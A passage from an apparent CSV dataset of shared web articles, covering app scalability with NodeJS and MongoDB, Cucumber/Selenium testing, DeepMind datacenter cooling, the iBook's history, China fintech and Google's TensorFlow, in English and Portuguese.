regardless of technical backend quality. Where would I have put my images? In the database: MongoDB. It would require no configuration and almost no code. Easy. MVP. How would I have queried the snaps within a certain area that got the most likes? By just running a plain MongoDB query on the entire pile of uploaded snaps. Just one database query on one database collection. MVP. All of this would have destroyed my app and the app's feature. Look at the query I would have had to run to get these snaps: ""find all snaps within location polygon [A, B, C, D], excluding snaps marked as abuse, excluding snaps that are still being processed, ordered by number of likes, ordered by valid Pokémon GO snaps first and then ordered by newest first"". This works great on a small dataset, great, MVP. But this would have been totally disastrous under any type of serious load. Even if I would have simplified the above query to only include three conditions/sorting operations, it would have been disastrous. Why? Because this is not how a database is supposed to be used. A database should query only on one index at a time, which is impossible with these geospatial queries. You'll get away with it if you don't have a lot of users, but you'll go down once you get successful. Like GoChat. What did I do instead? After applying the CPU-expensive image recognition and doing resizing, the resized images are uploaded to Google Cloud Storage. This way the server and database don't get hit for requesting images. The database should worry about data, not images. This saves many servers by itself. On the database side, I separate the snaps into a few different collections: all snaps, most liked snaps, newest snaps, newest valid snaps and so forth. Whenever a snap gets added, liked or marked as abuse, the code checks if it (still) belongs to one of those collections and acts accordingly. This way the code can query from prepared collections instead of running complicated queries on one huge pile of mess. It's simply separating data logically into some simple buckets. Nothing complicated. But it allows me to query solely on the geospatial coordinates with one sorting operation, instead of a complex query as described above. In simple terms: it makes it straightforward to select data. How much extra time did I spent on all of this? Maybe 2 to 3 hours. Why I did this in the first place? Because that's just the way I set things up. I assume my apps will be successful. There's no point in building an app assuming it won't be successful. I would not be able to sleep if my app gains traction and then dies due to bad tech. I bake minimum viable scalability principles into my app. It's the difference between happiness and total panic. It's what I think should be part of an app MVP. Choose the right tools for your MVP If I would have built GoSnaps with a slower programming language or with a big framework, I would have required more servers. If I would have used something like PHP with Symfony, or Python with Django, or Ruby on Rails, I would have been spending my days on fixing slow parts of the app now, or adding servers. Trust me, I've done it many times before. These languages and frameworks are great in many scenarios, but not for an MVP with low server budget. This is primarily due to the many layers of code that are usually used for mapping database records to logic and unnecessary framework code. It just simply hits the CPU too hard. Let me give you an example on how much this actually matters. As said, GoSnaps uses NodeJS as the backend language/platform, which is generally fast and efficient. I use Mongoose as an ORM to make the MongoDB work straightforward as a programmer. I'm not a Mongoose expert by any means and I know the library by itself has a huge codebase. Therefore Mongoose was a red flag. But yeah, MVP. At one point last weekend, our server's 4 NodeJS processes were running at 90% CPU each, which is unacceptable to me for 800-1000 concurrent users. I realized that it had to be Mongoose doing things with my fetched data. Apparently I simply had to enable Mongoose's ""lean()"" function to get plain JSON objects instead of magical Mongoose objects. After that change, the NodeJS processes dropped to around 5-10% CPU usage. Just the simple logic of knowing what your code actually does is very important. It reduced the load by 90%. Imagine having a really heavy library, like Symfony with Doctrine. It would have required a couple of servers with many CPU cores to just execute the code alone, even though the database is supposed to be the bottleneck, not the code. Choosing a lean and fast language is important for scalability, unless you have a lot of money for servers. Choosing a language with a lot of useful available libraries is even more important, since you want to build your MVP quickly. NodeJS, Scala and Go are good languages that cover both of these requirements. They provide a lot of good tools with a lot of good performance. A language like PHP or Java by itself is not necessarily slow, but is usually used together with large frameworks and codebases that make the application heavy. These languages are great for clean object oriented development and well-tested code, but not for quick and cheap scalability. I don't want to start a big programming language argument, so let me just state that this is subjective and incomplete. I personally love Erlang and would never use it for an MVP, so all your arguments are invalid. My previous startup Cloud Games A few years ago, I co-founded Cloud Games , an HTML5 games publisher. When we started, we were a B2C gaming website focused on the MENA region. We spent a lot of effort on gaining users and reached 1M monthly active users (MAU) after a few months. At the time, I used PHP, Symfony2, Doctrine and MongoDB in a pretty simple and lean setup. I used to work for Spil Games with 200 million MAU, which used PHP at the time and then moved to Erlang. After Cloud Games reached approximately 100,000 MAU, we started to see real server pain with Doctrine and MongoDB due to the huge overhead of these PHP libraries. I did set up MongoDB, indexes and queries the right way, but the servers were having a hard time processing all the code. And yes, I used PHP's APC cache and so forth. Since cloudgames.com was still very static, I was able to migrate the MVP to NodeJS with Redis in a few days. Similar setup, different language. This led to an immediate decrease in load by about 95%. Granted, this had more to do with avoiding PHP libraries than with the actual language. But a minimalistic NodeJS setup makes more sense than a minimalistic PHP setup. Especially since MongoDB and frontend code are also 100% JavaScript, like NodeJS. PHP without its frameworks and libraries is just another language. We needed this cheap setup, since we were a self-funded, early-stage startup. Cloud Games is now doing well and still based on a cost-efficient NodeJS architecture. We might not have managed to be successful with a more costly tech setup, given the fact that we've been through some really tough times as a startup. Designing a low-cost, scalable architecture has been essential for success. MVP and scalability can coexist If there's an opportunity for your app to grow exponentially due to hype or possible media coverage, make sure to consider scalability as part of your MVP. The principles of minimum viable products and scalable tech can coexist. There's nothing sadder than building a successful app and seeing it fail because of technical issues. Pokémon GO itself has had a lot of issues, but is so unique and hyped that it didn't matter. Small startups don't have this luxury. Timing is everything . One million GoChat users and half a million GoSnaps users probably agree with me. Please like and follow! If you liked this article, please like it here below on Medium. This would mean a lot to me. Feel free to comment for advice on scalability. At Unboxd , we're always happy to see other apps grow! Thank you!",en
1469105350,CONTENT SHARED,6504364365389213533,-2337468721613240548,415995522850680396,,,,HTML,http://economia.uol.com.br/noticias/efe/2016/07/21/honda-e-softbank-desenvolverao-sistema-de-ia-para-ajudar-os-motoristas.htm,Honda e Softbank desenvolverão sistema de IA para ajudar os motoristas,"Tóquio, 21 jul (EFE).- A fabricante de veículos Honda Motor e o gigante das telecomunicações SoftBank desenvolverão um sistema de inteligência artificial (IA) que vai conversar com os motoristas durante as viagens e irá sugerir desde possíveis rotas disponíveis a comércios na região. O projeto, anunciado nesta quinta-feira pelas duas empresas, procura aplicar ao manejo de veículos o chamado ""motor de emoções"" projetado por uma subsidiária da Softbank. Este ""motor de emoções"" é um conjunto de tecnologias de IA que permitirá as ""máquinas gerarem suas próprias emoções"", segundo explica o comunicado divulgado em conjunto hoje. O objetivo é que este software baseado na nuvem detecte os hábitos dos motoristas através de várias câmaras e sensores e um programa para poder prever esses comportamentos e realizar sugestões com os mesmos. O sistema poderia inclusive recomendar visitas regulares à oficina com base nos dados que vai captando (distâncias percorridas, uso dos freios etc) ou alertar ao motorista que esqueceu as chaves no veículo. À medida que o sistema vai conhecendo cada vez mais os gostos e hábitos do motorista este deveria perceber que a relação com a ""máquina de emoções"" fica cada vez mais sólida, explicam as duas empresas japonesas. Este será o primeiro projeto a ser realizado no novo laboratório de P&D que Honda construiu no distrito de Akasaka, em Tóquio. Obrigado pela sua inscrição",pt
1469110852,CONTENT SHARED,-6192579321116251081,-2525380383541287600,4046481352448712354,,,,HTML,https://www.thoughtworks.com/pt/insights/blog/3-essential-basics-setting-automation-suite-web-apps,3 noções básicas essenciais para a criação de uma suíte de automação para aplicativos web,"Este artigo foi escrito a fim de compartilhar que existem padrões e ferramentas que, quando combinados, podem oferecer testes automatizados com alto valor de negócio e baixo custo em termos de manutenção do código. O Cucumber é uma ferramenta que suporta Behavior Driven Development ( BDD ), que consiste em descrever o comportamento de um usuário. Dessa forma, as necessidades reais do usuário são descritas. Selenium WebDriver é uma ferramenta que simula ações do usuário em navegadores web. Este artigo descreve como usar o Cucumber, juntamente com Selenium WebDriver para implementar testes automatizados com alto valor de negócio e de baixa manutenção. Cucumber é usado para descrever o valor do negócio em uma linguagem natural, por isso permite que equipes de desenvolvimento de software descrevam como o software deve se comportar em texto simples, escrevendo especificações através de exemplos. Uma boa vantagem de escrever especificações com Cucumber é que qualquer um na equipe consegue ler e entender as especificações em texto simples - de pessoas de negócios a desenvolvedores de software. Além disso, ele ajuda a obter feedback dos stakeholders de negócios sobre se a equipe vai construir a coisa certa antes mesmo de começar. Ele também ajuda a equipe a fazer um esforço intencional para desenvolver uma linguagem ubíqua compartilhada para falar sobre o sistema. Outra vantagem é que a especificação é uma documentação viva, porque apesar de ser escrita em texto simples, origina testes automatizados executáveis, como você verá mais adiante no artigo. A estrutura que o Cucumber usa para as especificações é o formato Given/When/Then em conformidade com gramática da linguagem Gherkin . A parte Given (Dado) descreve uma pré-condição existente do estado de software antes de começar o comportamento que você está especificando. A seção When (Quando) é o próprio comportamento. O Then (Então) descreve o resultado esperado do comportamento. Por exemplo: Dado que me inscrevi para Loja de Livros Online, quando eu acesso a loja com minhas credenciais, então vejo uma mensagem ""Bem-vinda à Loja de Livros Online!"". Continue lendo para encontrar mais exemplos. Selenium WebDriver simula as ações do usuário definidas pelas descrições do Cucumber em um browser. Ele é usado para testar automaticamente aplicações web, uma vez que conduz um browser utilizando recursos nativos de cada browser. Selenium ainda é movido por código, de modo que os testes automatizados são escritos em uma linguagem de programação que define as ações do usuário e controla Selenium WebDriver. Há muitas linguagens de programação diferentes que podem ser usadas com Selenium WebDriver, tais como Java, Ruby, Python e JavaScript. No entanto, existe uma linguagem ainda mais simples para descrever cenários de teste: a linguagem natural. É possível escrever testes automatizados com Cucumber em diferentes linguagens naturais, tais como Português e Inglês, entre mais de 40 outras línguas. Por outro lado, Cucumber não interage diretamente com a aplicação de software. É por isso que é normalmente utilizado em conjunto com ferramentas como o Selenium WebDriver. Desta forma, os testes automatizados servem como documentação, porque podem ser escritos em uma linguagem específica de um domínio e legível do ponto de vista de negócios. Eles também podem ser executáveis, porque possuem a camada do Selenium WebDriver rodando por trás da camada do Cucumber; e pode ser de fácil manutenção porque a camada do Cucumber não precisa saber como as ações do usuário são simuladas, já que este é o trabalho do Selenium WebDriver. Portanto, se a aplicação web muda a forma como o usuário interage com ela, tudo o que precisamos fazer é alterar a camada do Selenium WebDriver e manter a camada do Cucumber como estava. Leia mais para ver exemplos das camadas de Cucumber e Selenium Webdriver. Existem outras opções de ferramentas para a gestão de casos de teste, tais como TestLink , que armazena os casos de teste escritos em linguagens naturais. Essas ferramentas tendem a ser desconectadas do código real e os testes ficam desatualizados rapidamente. A maior vantagem do Cucumber sobre TestLink é que os testes escritos em texto simples são também testes automatizados, que sempre irão falhar quando a aplicação sai de sincronia com os scripts do Cucumber. Isso ajuda a manter a documentação atualizada, porque falhas na execução notificarão se não estiver. Cucumber também suporta a execução do caso de teste, uma vez que é mais fácil de identificar quais cenários de funcionalidades estão em execução através da leitura de linguagem natural, em vez de ler a linguagem de programação. Seguem 3 passos para escrever testes automatizados com alto valor de negócio e de baixa manutenção: definir o valor do negócio, automatizar testes e refatorar para baixa manutenção. Definir o valor do negócio Seguem alguns princípios de BDD utilizados em Cucumber para de escrever testes automatizados com alto valor de negócio. É útil escrevê-los em texto puro antes de implementá-los e garantir que as partes interessadas no negócio dêem feedback sobre se os testes descrevem o comportamento correto do software. Se as partes interessadas no negócio derem o feedback após o comportamento do software já ter sido implementado, provavelmente leva muito mais tempo para corrigir o código do que seria necessário para corrigir um texto simples que descreve o teste. Então testes automatizados escritos antes de construir o software trazem valor através da economia de bastante tempo do time de desenvolvimento de software. Escrever narrativas também traz valor para o teste porque descreve em uma frase qual o motivo de implementar a funcionalidade em primeiro lugar, e ajuda a entender o sobre o que são os cenários da funcionalidade. Por exemplo: Para que eu possa identificar dinossauros, como um colecionador de ossos, eu quero acessar informações sobre os dinossauros. Outra qualidade importante em testes automatizados valiosos é que o texto simples usa um vocabulário específico do domínio do negócio para que eles sejam compreendidos por qualquer pessoa da equipe: usuários, stakeholders de negócios e o time de desenvolvimento de software. Isso traz valor para a comunicação da equipe, porque faz com que ela desenvolva uma linguagem ubíqua compartilhada para falar sobre o software e focar no negócio em vez de descrever testes usando termos técnicos que são apenas mais uma variante de uma linguagem de programação. Para ter testes automatizados com alto valor de negócio, Cucumber consiste em uma face de negócio e uma face de tecnologia. Fonte: Fonte: Fonte: Tradução da imagem do livro The Cucumber Book: Behaviour-Driven Development for Testers and Developers, by Matt Wynne and Aslak Hellesøy A face de negócio é definida dentro de um arquivo de funcionalidade com a extensão .feature. Ela contém a descrição da funcionalidade e os cenários com os passos escritos em linguagem natural, como o Português. Por exemplo: Automatizar testes A face de negócio por si só não é um teste automatizado executável que exercita a funcionalidade da aplicação (que pode ser um Web, Android ou WebService). A fim de torná-la executável, Cucumber tem uma face de tecnologia que consiste em definições de passo, código de suporte e de biblioteca automação. A definição do passo é implementada utilizando uma linguagem de programação para cada passo do cenário nos arquivos de funcionalidades. Esse código usa uma biblioteca de automação de teste, como Selenium ou Watir (outro exemplo de WebDriver usado com Ruby), para acessar a aplicação e executar os testes automatizados. O exemplo seguinte mostra a face de tecnologia implementada em Java. Cada método Java é uma definição do passo descrito no arquivo de funcionalidade do exemplo anterior. O corpo do método usa o código de suporte que chama a biblioteca de automação, que chama o Selenium, que contém o WebDriver que, finalmente, vai acessar a aplicação: Um padrão amplamente utilizado na implementação de testes automatizados é o padrão PageObject , que consiste basicamente em mapeamentos entre os elementos da página da aplicação e uma classe. Ele também define as ações do usuário na página usando seus elementos. O exemplo a seguir é um PageObject LoginPage, que mapea os elementos da página de login (como o campo de nome de usuário, campo de senha e botão), bem como define as ações como logar na página. As ações conduzem o Selenium para acessar e acionar os elementos da LoginPage. O exemplo a seguir é um PageObject representando a página de login. Esse objeto mapeia seus elementos individuais com seus identificadores para o driver usar. Esse deve ser o único lugar onde o identificador é registrado. Refatorar para baixa manutenção Código de teste é código, por isso é tão importante refatorar código de automação de teste quanto refatorar código da aplicação. Caso contrário, os testes vão ser tão difíceis de manter que vai ser melhor jogar tudo fora e começar de novo. Esse é um custo que pode ser evitado se seguirmos algumas dicas que ajudam a reduzir os custos de manutenção do código, arquivos de features e definições de passos. O uso do padrão PageObject torna mais fácil a manutenção de testes automatizados porque as alterações em elementos de página são apenas alteradas uma vez no PageObject. Arquivos de funcionalidades e definições de passo não possuem informações específicas sobre a página e, portanto, não precisa ser atualizado. Em outras palavras, se qualquer elemento na página de login muda (como caminho de URL ou o nome do botão), a manutenção será feita no LoginPage.java somente, e não haverá necessidade de atualizar o arquivo de funcionalidade (que contém os cenários) e a classe LoginStepDefinition.java. É importante escrever funcionalidades declarativas, de modo que os cenários sejam descritos como um usuário poderia descrevê-los, o que os torna altamente manuteníveis quando comparados com cenários que descrevem apenas clicar em links e preencher os campos de formulário. Por exemplo: Outra dica para reduzir o custo de manutenção em cenários de Cucumber, é evitar passos que contêm duas ações, porque um deles pode ser reutilizável em diferentes cenários: Algumas outras boas práticas que ajudam a manter os testes de Cucumber podem ser encontrada aqui: . Conclusão Em suma, este artigo descreve brevemente o uso do Cucumber com Selenium WebDriver para implementar testes automatizados com alto valor de negócio e baixa manutenção usando os padrões BDD e PageObject. Todo o código apresentado está no github . Apesar de termos falado sobre Cucumber e Selenium, existem também outras ferramentas de BDD e WebDriver semelhantes que podem ser combinados para criar uma suíte de automação de alto valor de negócio e de baixa manutenção, desde que você use as práticas sugeridas neste artigo.",pt
1469129118,CONTENT SHARED,-1006791494035379303,-1032019229384696495,729690485230072651,,,,HTML,https://techcrunch.com/2016/07/20/google-unleashes-deepmind-on-energy-hungry-datacenter-cutting-cooling-bill-by-40-percent/,"Google unleashes DeepMind on energy-hungry datacenter, cutting cooling bill by 40 percent","DeepMind may be a master at one of the most complex games on Earth, but can it handle the day-to-day energy concerns of a Google datacenter? Yes, as it turns out, and with a vengeance. The power needs of a datacenter depend on lots of factors, from demand to the weather, and adjusting to or predicting these variables in order to achieve maximal power efficiency can be difficult indeed. Google has been applying machine learning to the problem, building a neural model with which its AI can keep all these factors in mind, so to speak. The researchers finally let DeepMind loose on a live data center - and the results were immediately validating. Overall energy use for cooling dropped 40 percent and stayed there. Google is already fairly concerned with energy use, having taken many steps towards using renewable power and keeping things efficient. So it's not like no one was paying attention to begin with. The streamlining DeepMind did could also be generalized to other systems and deployed to other datacenters - which the company will surely crow about when it comes to pass. The DeepMind team plans to publish a more comprehensive description of their work in an actual paper; we'll add a link when we see it.",en
1469129410,CONTENT SHARED,2122245305662000853,-709287718034731589,-5228926154262002605,,,,HTML,http://www.cultofmac.com/439013/today-in-apple-history-ibook-ushers-in-a-wi-fi-revolution/,Today in Apple history: iBook ushers in a Wi-Fi revolution,"The ""clamshell"" iBook was a major step forward for Apple. Photo: Moparx/Flickr CC July 21, 1999: Apple debuts the iBook, its notebook hybrid of the iMac and Apple PowerBook, at the company's MacWorld event. Thanks to Apple's then-new AirPort networking card for cable-free internet access, the colorful laptop is the first mass consumer product to offer Wi-Fi connectivity. Visually, the iBook resembled a continuation of the ""lickable"" aesthetic of the iMac G3 . It came in a range of bright translucent colors and a curvy design, with a rubberized texture that made people want to reach out and touch it. In the same way that the iMac appeared slightly gelatinous and biological, the iBook took its inspiration from nature with a ""clamshell"" design which looked a bit like an undersea creature. The comparison with the iMac was cemented in ads, which called the iBook the ""iMac to go."" Like the iMac, the iBook boasted a PowerPC G3 CPU, and standard USB, Ethernet, modem ports and optical drive. Also like the iMac, it ditched the floppy drive. To take advantage of the AirPort card, the iBook included a custom internal slot and built-in antennas. In addition, it was Apple's first Mac to use the company's ""Unified Logic Board Architecture"", which compressed the machine's core features into two chips, alongside AGP and Ultra DMA support. The iBook boasted the then-novel touch of a latchless lid which ""woke up"" the laptop when it was opened. Although this conceit is used by virtually every laptop maker today, it was new at the time - and, like the best Apple innovations, offered a subtle reminder that the machine was approachable and easy-to-use for novices. The $1,599 iBook was a big hit with consumers immediately. After the mess that had been Apple's laptop line for much of the 1990s - when Performa, Quadra, LC, Power Macintosh and PowerBook models offered a bewildering number of options for new customers - the iBook's aesthetics and pricing helped make it clear who it was aimed at. The laptop became a smash with consumers, and many retailers took pre-orders ahead of its launch. While the design was superseded by the more serious-looking white polycarbonate iBook in 2001 , the colorful ""clamshell"" version (dubbed ""Barbie's toilet seat"" by some critics at the time) was an important step in Apple's development. Its design was a great piece of marketing for Apple, while its fun aesthetic made what was then still thought of as a niche computer company look welcoming and friendly. The focus on Wi-Fi, meanwhile, didn't just cement Apple's ability to innovate technologically, but helped usher in the kind of connectivity that would make features like iTunes such a success in the decade that followed. Did you own a 1999-era iBook? What was the first Apple laptop you did own? Leave your comments and reminiscences below.",en
1469134858,CONTENT SHARED,-2306981937763401455,3217014177234377440,-8963282689706066417,,,,HTML,http://lifehacker.com/passport-map-shows-you-all-the-countries-you-can-visit-1783759082,[Dica] Passport Map Shows You All the Countries You Can Visit With or Without a Visa,"Depending on the passport you hold, it can be a breeze to visit another country, or it can be a maddening process that takes months of paperwork , clearance, visits to consulates or embassies, and the risk of getting denied anyway. Passport Map can help you figure out what you're in for before you plan a trip. Before you head to the airport, you need to make sure your travel documents are in order. The last... Read more Read more Passport Map is a fun enough site in its own right, since you can explore the passports of various countries on the main page, but its real value is in the visa comparison table, where you can select the country you hold a passport with, and see what the entry and visa process is like for virtually every other country on the planet. You can even add multiple passports to the comparison list, so you can see how, for example, your Canadian friend would fare if you traveled together, or just what it might be like to be a tourist from another country. If you prefer, click the ""compare by destination"" tab to see what specific countries put visitors from other nations through if they want to visit. Sadly the site doesn't help you jump off to visa information for those countries, or even to the embassies for the countries that require them, but it's a good starting point for your research if, for example, you're an American looking to visit China, or a Canadian who'd like to visit Ghana, in which both cases a visa is required. Passport Index",en
1469139637,CONTENT SHARED,-2059465483219605309,3217014177234377440,-8963282689706066417,,,,HTML,https://www.coursera.org/learn/get-active,"[Free Online Course] Sit Less, Get Active - The University of Edinburgh | Coursera","About this course: Physical inactivity and sedentariness are ""silent killers"". Do you feel like you spend too much time sitting? Do you feel like you would like to be more active? Are you unsure about how to incorporate physical activity into your daily life? We are here to help. Join us on a journey to learn about how to sit less and become more active. Use this FREE course to learn how to monitor your own activity and set physical activity goals. We will feature various examples of how physical activity could be increased in different settings, such as your neighbourhood, home or work, to give you ideas of ones that could best fit your lifestyle. Are you a health professional? Use this opportunity to learn how to incorporate physical activity into your daily routine and also how to empower your patients to be more physically active. If time with a patient is an issue, you can simply ""prescribe"" this course to your patient. This course offers you a unique opportunity to receive weekly physical activity health messages and monthly video-reminders on how to increase physical activity in various settings for 6 months after the initial 3 week course. So, join us on the Sit less, get active! journey. Follow us on Twitter @GetActive MOOC #GetActiveMOOC. Also, visit our YouTube channel to check out the promo videos (more are to come) If YouTube is not available in your country, you can access the promo videos here",en
1469154546,CONTENT SHARED,8494390949377713372,8968131284214320024,4530116764447486161,,,,HTML,http://www.mckinsey.com/industries/financial-services/our-insights/whats-next-for-chinas-booming-fintech-sector,What's next for China's booming fintech sector?,"The fast and furious growth of the country's Internet finance industry will inevitably slow. Companies need to begin positioning themselves for sustainable success. China's Internet finance industry has boomed in recent years. The country leads the world when it comes to total users and market size; financial-technology (or fintech) start-ups are mushrooming, as are company valuations; capital markets are aggressively pursuing the Internet finance industry; and consumer behavior is altering dramatically. By the end of 2015, the market size of the country's Internet finance sector was more than 12 trillion renminbi ($1.8 trillion), dominated by the payments sector (exhibit). Four factors are driving this rapid growth. First, China has an open, supportive regulatory environment. In fact, in 2013 the People's Bank of China explicitly expressed support for tech companies to promote Internet finance. Second, China has a highly developed e-commerce sector , with more than 30 percent of the Chinese population already using Internet payment systems. Third, there is enormous latent demand for inclusive finance. Due to historical protection and strict regulation, traditional players are moving slowly to meet underserved customer segments, opening the door to disruptors. And finally, the strong profitability of traditional banks has underwritten a strong trial-and-effort culture, facilitating aggressive investments in innovative digital services. The Internet finance sector's torrid growth will inevitably slow. This will present challenges and opportunities for companies, especially as more mature regulations are imposed and a degree of consolidation takes place. As outlined in our new report Disruption and connection: Cracking the myths of China Internet finance intervention , surviving and thriving in this changing environment requires companies to take steps now. That means understanding not just the trends likely to shape the sector but also the kind of companies that have evolved in recent years. Would you like to learn more about how we help clients in China? Visit our McKinsey Greater China site China's three types of fintech players Numerous players from various industries have rushed to stake a claim to China's Internet finance sector. We've identified three distinct types of companies that are taking the lead, each with distinctive value propositions: Internet attackers, or 'barbarians from the outside.' China has a uniquely competitive digital landscape dominated by a few digital companies that have established comprehensive multilicensed financial ecosystems. They differ from each other by core businesses or target groups. As one of the largest e-commerce companies globally, for example, Alibaba used its e-commerce business as a foundation of its financial empire, first entering into the payments sector before expanding into financing and wealth management, with an emphasis on hundreds of millions of individual and small- to medium-enterprise (SME) customers. Tencent took another route, expanding beyond the powerful social nature of its WeChat platform to build a consumer-oriented financial network that taps into its huge user base. These entrepreneurial attackers form the largest group and the most prolifically and wildly innovative, offering local products and expanding aggressively by taking full advantage of the customer insights at their disposal. Traditional financial institutions . Incumbent financial institutions are accelerating their push into the Internet finance sector. They don't want to just witness this wave-they want to ride it. Yet strict regulations and relatively conservative mind-sets mean they are typically followers rather than leaders, at least compared with Internet attackers. That said, institutions such as Ping An Insurance Group are strategically entering the sector through subsidiaries including Lufax, Pinganfang, and Ping An Puhui. In addition, large commercial banks are acting: for example, China Construction Bank and Industrial and Commercial Bank of China are now building their own e-commerce platforms. Others will inevitably follow. Traditional players also have several strengths that should not be underestimated: a legacy of strategic partnerships, comprehensive product offerings, professional risk-management expertise, and physical branches. Nonfinance companies . Although small in number, companies with no experience in either finance or the Internet are joining the sector. Examples include retail companies Gome and Suning, and real-estate group Wanda Group, which are marrying extensive offline resources such as customer leads with data mining to design new financial products. In doing so, they threaten to undermine banks' control over key business customers. Six emerging fintech trends In the near future, we believe China's Internet finance players will enter a ""warring stage"" that results in consolidation. Regulations will be updated to account for new companies and products, and growth will become more orderly. In next five years, we see the enormous potential of six developing trends being gradually unleashed. Players should act quickly and firmly, strengthening skills and capabilities to take advantage of fintech's global emergence . Mobile payment and wealth management Payment is the most mature sector in Internet finance, but growth in the payments industry is far from slowing . Consumer engagement and affinity are increasing, and online-to-offline mobile payment via smartphones has become a new battlefield where companies are already starting to compete fiercely for market share. Traditional financial institutions, in cooperation with mobile-hardware manufacturers, are also starting to adopt near-field communication payment. At the same time, China's capital market is opening up. As they accumulate more wealth, Chinese consumers are hunting for higher investment returns-meaning that all investment products, except savings, are expected to maintain rapid growth. That provides opportunities for Internet-based wealth-management businesses. Online consumer and SME finance As China's economy seeks to evolve from investment led to consumer led , demand for financial services among Chinese households will only increase. Younger Chinese consumers are early adopters and keen drivers of innovation, more open to online personal-finance products, and have both a higher propensity to spend and a higher tolerance for financial risk. Indeed, as more advanced application of data enables quick and remote decision making, the full range of conventional consumer-financing products-such as credit cards and consumer loans-can be offered online, further broadening the industry's potential scope. In addition, there remains a large gap between the needs of SMEs and traditional banking products. SMEs in China contribute a significant share of GDP and employment (nearly 80 percent and 60 percent respectively), yet their development has been beset by a shortage of funds. As the country's economy slows, banks are becoming more reluctant to address this issue-presenting a huge opportunity for the highly efficient, low-cost fintech sector. B2B Internet finance In the next five years, companies will still contribute the majority of banking revenue in China-and the long business-to-business value chain will generate both opportunities and innovation. Chinese companies are shifting from simply borrowing to having more complicated needs, such as transaction banking and asset management. In transaction banking, Internet finance can provide time-effective supply-chain financing solutions and digitized cash-management systems to support high-quality management of corporate finance and capital for large companies. In asset management, Internet finance can better address increasingly complex customer needs by providing quick, customized, and differentiated product matching, especially when high-quality assets are difficult to find. Internet channels are also well suited to marketing and customer expansion. Financial cloud and infrastructure Unlike the traditional model, where financial institutions operate their own data and IT centers, cloud-based services allow customers to be served remotely based on demand, paying for that usage. Cost effectiveness is a major advantage, with the cloud allowing customers to easily access information with minimal up-front and overhead spending. It also allows customers to retain flexible infrastructure that can be quickly scaled up or down. That's especially important for small players who need to rapidly build IT capabilities to serve explosively growing user bases and fluctuating volumes. Many IT companies such as Alibaba, Huawei, and IBM are already providing cloud solutions and platforms. We believe cloud-enabled innovation in the Internet finance sector will only increase. China's innovation engine picks up speed Read the article Big data application Big data allows financial institutions to collect and analyze customer data, providing more tailored products and services through a personalized marketing experience. In risk management, big data allows players to use advanced statistical models to better understand the correlation between factors and risks, based on both internal and external data. Combining this with cloud services facilitates real-time credit investigation and decision making at a low cost. Financial institutions that master these data-driven advantages will enjoy increased operational efficiency and business performance. It's perhaps no wonder that there's a huge unmet need for big data analytics in China -and more and more companies are emerging to serve financial institutions unable build this capability in-house. Disruptive technology Blockchain and related disruptive technologies have drawn close attention in the financial industry. Blockchain, the technological base of Bitcoin, is characterized as being safe, transparent, and unmodifiable-however, blockchain has much greater potential than digital currency alone. It enables point-to-point transactions without a clearing intermediary, substantially reducing transaction time and cost. Further, if combined with smart contracts, blockchain makes it possible to automatically issue digital securities and trade financial derivatives. More broadly, the insurance sector will also provide new opportunities for the application of blockchain . All of this isn't to suggest there aren't nonexposed risks, uncertainties, and challenges associated with China's booming Internet finance industry. These include consumer irrationality, product defects, and even fraudulent activity, and require careful maneuvering. Players also should cautiously deal with the implicit credit risk and liquidity risk, and be aware that regulators are determined to strengthen the management of Internet finance. Yet we believe China's fintech sector will inevitably embrace fiercer competition and further industry integration, with true winners emerging through selection and elimination as they navigate the developing trends we have identified. No matter which element of the Internet finance industry they are in, and whatever their business models are, players must keep evolving to survive and realize a sustainable stake in the sector's future growth. Download the full report on which this article is based , Disruption and connection: Cracking the myths of China Internet finance intervention . (PDF-1 MB) About the author(s) Joseph Luc Ngai and John Qu are senior partners in McKinsey's Hong Kong office, and Nicole Zhou is an associate principal in the Shanghai office. The authors wish to thank of Vera Chen, Xiyuan Fang, Feng Han, Joshua Lan, and Xiao Liu for their contributions to this article.",en
1469160047,CONTENT SHARED,-4291244850221551577,-1032019229384696495,-2164620744308634647,,,,HTML,http://www.bloomberg.com/news/articles/2016-07-21/google-sprints-ahead-in-ai-building-blocks-leaving-rivals-wary,"Google Sprints Ahead in AI Building Blocks, Leaving Rivals Wary","There's a high-stakes race under way in Silicon Valley to develop software that makes it easy to weave artificial intelligence technology into almost everything, and Google has sprinted into the lead. Google computer scientists including Jeff Dean and Greg Corrado built software called TensorFlow, which simplifies the programming of key systems that underpin artificial intelligence. That helps Google make its products smarter and more responsive. It's important for other companies too because the software makes it dramatically easier to create computer programs that learn and improve automatically. What's more, Google gives it away. But for some competitors, there's a big downside to adopting Google's standard. Using TensorFlow will help Google recruit more AI experts by training them on the same tool it uses internally, spotting their code, and hiring the best contributors. It could also let the search-engine provider exert outsize influence over the burgeoning AI ecosystem. If the internet giant dominates in this field, it could gain an advantage in the fast-growing cloud-computing business, turning the popularity of its software into real revenue. ""It's the next big area, and people are worried Google's going to own the show,"" said Ed Lazowska, a computer science professor at the University of Washington who has served on the technical advisory board of Microsoft Corp.'s research lab. ""There is a network effect, and it's a really excellent system."" Google initially used TensorFlow internally for products like its Inbox and Photos apps. The company made it available for free in November. Technology companies like Microsoft Corp., Amazon.com Inc. and Samsung Electronics Co. rushed to give away their own versions, hoping to get the most outside developers using their standards. The company that wins will benefit from the collective efforts of thousands of developers using, but also updating and improving, its system. That's an advantage when it comes time to make money from the new asset. Whoever has the most popular software will have the best chance of creating commercial cloud services for AI because potential customers will already know how to use it. Amazon and Samsung declined to comment. Microsoft did not respond to requests for comment on Wednesday. Success in these types of open-source projects sometimes yields big rewards. Google released Android for free in 2008, and it's now the most widely used mobile operating system with over 400,000 developers and more than a billion users. Google generates billions of dollars a year from ads shown on Android devices and the cut it gets from revenue app developers make through the operating system. 'Linux Level' Since emerging, TensorFlow has become the most popular AI programming project on software code sharing service GitHub, leapfrogging well-regarded systems created by universities and corporate rivals, according to data gathered by Bloomberg. On launch day, TensorFlow had around 3,000 ""stars"" on GitHub, meaning that number of programmers had bookmarked the code, indicating interest. As of July 13, it had 27,873. Two other popular AI software projects, Theano and Torch, have less than a fifth of that following. In 2014, Torch was the leader. A Microsoft tool called CNTK, released for free in January, and Amazon's free DSSTNE, which rolled out in May, have so far failed to dent Google's lead much. Linux, an open-source operating system launched in 1991, now helps run everything from supercomputers to phones to airplanes and helped turn Red Hat Inc. into a $13 billion enterprise software company. Linux has 33,967 stars on GitHub. ""It's kind of crazy,"" said Dean, a top Google engineer and one of the main developers of TensorFlow. ""We're almost to Linux level."" 'Green Field' Google will soon begin generating revenue from this lead. It plans to offer a version of TensorFlow that runs on its Google Cloud Platform service, letting people and businesses pay to run their AI software in Google's data centers. Google made the software free so it could give 